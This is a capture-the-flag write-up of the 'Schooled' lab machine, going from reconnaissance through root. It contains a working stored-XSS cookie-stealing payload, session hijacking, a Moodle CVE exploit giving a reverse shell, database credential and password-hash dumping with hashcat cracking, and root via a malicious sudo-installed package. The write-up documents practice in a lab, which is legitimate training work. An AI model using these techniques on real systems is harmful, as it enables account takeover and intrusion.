Schooled Writeup

Reconnaissance & Enumeration

As usual we start with a Nmap scan of the box.

Nmap report:

# Nmap 7.91 scan initiated Sun Apr  4 18:53:19 2021 as: nmap -v -sC -sV -oN nmap -p- schooled.htb
Nmap scan report for schooled.htb (
Host is up (0.16s latency).
Not shown: 65532 closed ports
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Apr  4 19:05:10 2021 -- 1 IP address (1 host up) scanned in 711.32 seconds

We have 3 open ports:

The website doesn’t give much at first glance. I’ve tried to find an admin or login page but I couldn’t.

The initial directory enumeration on the web-service didn’t give any useful information, so I decided to read through the webpages of the site and check the source code of each page.

The about page mentions the Moodle LMS several times, which is also used by university so I have a little experience with it.

I ran a subdomain enumeration to check if Moodle is really being used by them and to find other possible subdomains.

└─$ gobuster vhost -u schooled.htb -w /usr/share/wordlists/subdomains-10000.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:          http://schooled.htb
[+] Threads:      10
[+] Wordlist:     /usr/share/wordlists/subdomains-10000.txt
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
2021/04/04 22:53:28 Starting gobuster
Found: moodle.schooled.htb (Status: 200) [Size: 84]
2021/04/04 22:57:39 Finished

I tried to find CVEs related to Moodle but couldn’t find any useful, since either it has already been patched in this version of moodle or I would need teacher privileges.

Getting user

Navigating to the Moodle site we can see some courses but to access them we have to register, so let’s do so.

In order to be able to register you have to enter an email address, which has student.schooled.htb as domain.

After logging in we can enroll into the course mathematics. The only interesting data I’ve found after enrolling is the Reminder for joining students announcement.

It says something about setting the MoodleNet profile and that Manuel Phillips will be checking all the students who enrolled on the course. This means he will visit our profile page. So, if we could setup an XSS attack on our profile we might be able to take over his account.

On the edit page of our profile we have many different input fields, so I tested all of them, but only the MoodleNet profile field is vulnerable to XSS injections. Injecting the following code we can steal the cookies of the user who visits our profile.

<img src=x onerror=this.src=""+document.cookie>

After setting MoodleNet profile I set up a listener and waited.

After some time the teacher’s request appeared with its session cookie.

└─$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 12711
GET /?c=MoodleSession=2mnm2e9f89v0ienffrn1fd1o7a HTTP/1.1
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://moodle.schooled.htb/moodle/user/profile.php?id=28
Upgrade-Insecure-Requests: 1

In the browser I changed my session cookie to the stolen one. After gaining teacher privileges I looked through the CVEs related to Moodle again and found CVE-2020–14321 on the official Moodle site here

A very detailed information about the vulnerability is available in this GitHub repo. All I had to do is to follow the instructions in this video. (Note: I changed the .php file in the to a simple php reverse-shell.)

└─$ sudo nc -nvlp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 56453
FreeBSD Schooled 13.0-BETA3 FreeBSD 13.0-BETA3 #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021  amd64
 9:11AM  up 20:18, 0 users, load averages: 0.35, 0.43, 0.40
uid=80(www) gid=80(www) groups=80(www)
sh: can't access tty; job control turned off

After getting shell I tried to enter the home directory of the user jamie and steve but of course I got denied, so looked up the official Moodle documentation to find out more about its configuration. The docs states that the name of the configuration file is config.php so I used the find command to locate it.

find / -name "config.php" 2>/dev/null

Looking at the config.php we find the username and password of the MySQL service.

$ cat config.php
<?php  // Moodle configuration file

global $CFG;
$CFG = new stdClass();

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',

$CFG->wwwroot   = 'http://moodle.schooled.htb/moodle';
$CFG->dataroot  = '/usr/local/www/apache24/moodledata';
$CFG->admin     = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,
// it is intentional because it prevents trailing whitespace problems!

After getting the credentials I used the local MySQL to explore the tables and databases, though it was not added to the path, so I had to find it first.

$ mysql -u moodle -pPlaybookMaster2020 -e 'show databases;'
/bin/sh: mysql: not found
$ find / -name "mysql" 2>/dev/null

In the moodle database there are a lot of tables, but I was looking for the user data, which is stored in the mdl_user table as its name suggests.

In the table we can find the hashed password of the admin and his name: Jamie Borham.

$ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle;select * from mdl_user;'
mysql: [Warning] Using a password on the command line interface can be insecure.
1       manual  1       0       0       0       1       guest   $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2              Guest user              root@localhost                                                  en       gregorian               99      0       0       0       0                       0               This user is a special user that allows read-only access to some courses. 1       1       0       2       1       0       01608320077       0       NULL    NULL    NULL    NULL    NULL    NULL
2       manual  1       0       0       0       1       admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW              Jamie   Borham  jamie@staff.schooled.htb        0                                        Bournemouth      GB      en      gregorian               99      1608320129      1608729680      1608681411      1608729680            0                       1       1       0       0       1       0       01608389236       0
28      onlineconfirm   1       0       0       0       1       wuhwe   $2y$10$gwSBXEawBwH9cFmGpqKMG.t7czkIYNZTX5ovCwjg2JGQuLV4BXkRm              a       b       a@student.schooled.htb  0                                        en       gregorian               99      1617696050      1617696123      0       1617696050     uCaI3BSELI8qTb5   0                       1       1       0       2       1       0       1617696047      16176961220                                               <img src=x onerror=this.src=""+document.cookie>

I used hashcat to crack the password. (The password is hashed using the bycrypt hashing function.)

└─$ hashcat -m 3200 ./hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i5-7400 CPU @ 3.00GHz, 2889/2953 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Tue Apr  6 09:34:21 2021 (2 mins, 24 secs)
Time.Estimated...: Tue Apr 13 10:09:04 2021 (7 days, 0 hours)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       24 H/s (10.56ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 3396/14344385 (0.02%)
Rejected.........: 0/3396 (0.00%)
Restore.Point....: 3396/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:640-704
Candidates.#1....: heartbroken -> chiqui


Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW
Time.Started.....: Tue Apr  6 09:34:21 2021 (9 mins, 57 secs)
Time.Estimated...: Tue Apr  6 09:44:18 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       23 H/s (10.81ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 13896/14344385 (0.10%)
Rejected.........: 0/13896 (0.00%)
Restore.Point....: 13892/14344385 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: !QAZ2wsx -> superpet

Started: Tue Apr  6 09:34:18 2021
Stopped: Tue Apr  6 09:44:20 2021

After cracking the password we can access the machine through SSH with the username jamie and grab the user flag.

└─$ ssh jamie@schooled.htb
The authenticity of host 'schooled.htb (' can't be established.
ECDSA key fingerprint is SHA256:BiWc+ARPWyYTueBR7SHXcDYRuGsJ60y1fPuKakCZYDc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'schooled.htb,' (ECDSA) to the list of known hosts.
Password for jamie@Schooled:
Last login: Tue Mar 16 14:44:53 2021 from
FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021

Welcome to FreeBSD!

Release Notes, Errata:
Security Advisories:
FreeBSD Handbook:
Questions List:
FreeBSD Forums:

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

To change this login announcement, see motd(5).
Forget how to spell a word or a variation of a word? Use

        look portion_of_word_you_know
                -- Dru <>
jamie@Schooled:~ $

Getting root

Listing the allowed sudoable commands as the user jamie we find out that we can run the following commands as sudo without password:

jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
    (ALL) NOPASSWD: /usr/sbin/pkg update
    (ALL) NOPASSWD: /usr/sbin/pkg install *
jamie@Schooled:~ $

Looks like we have to craft our own package, just like at the armageddon box, but this time on FreeBSD. I found this site about how to create custom packages on FreeBSD.

I followed the instructions and created the files as it said, except for the commands inside the package. I changed these lines

echo "Registering root shell"
pw usermod -n root -s /bin/sh

so that my package could create a reverse-shell to my machine. After creating the package I started a netcat listener on my end and installed the package on the target machine.

jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):

New packages to be INSTALLED:
        mypackage: 1.0_5

Number of packages to be installed: 1

Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...

After getting connection from our victim we can easily grab the root flag.

└─$ sudo nc -nvlp 4444
[sudo] password for kali:
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 17544
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# cd /root
# ls -la
total 77
drwxr-x---   5 root  wheel    13 Mar 30 12:55 .
drwxr-xr-x  19 root  wheel    24 Apr  5 12:53 ..
drwxr-xr-x   3 root  wheel     3 Feb 27 17:27 .cache
-rw-r--r--   2 root  wheel  1023 Feb 19 05:58 .cshrc
-rw-rw-rw-   1 root  wheel    67 Mar 30 12:55 .history
-rw-r--r--   1 root  wheel    80 Feb 19 06:07 .k5login
lrwxr-xr-x   1 root  wheel     9 Mar 18 08:45 .lesshst -> /dev/null
-rw-r--r--   1 root  wheel   328 Feb 19 05:58 .login
-rw-r--r--   2 root  wheel   507 Feb 19 05:58 .profile
-rw-r--r--   1 root  wheel   865 Feb 19 05:58 .shrc
drwx------   2 root  wheel     3 Feb 27 14:31 .ssh
-r--------   1 root  wheel    33 Apr  5 12:53 root.txt
dr-x------   2 root  wheel     5 Mar 17 15:47 scripts
# cat root.txt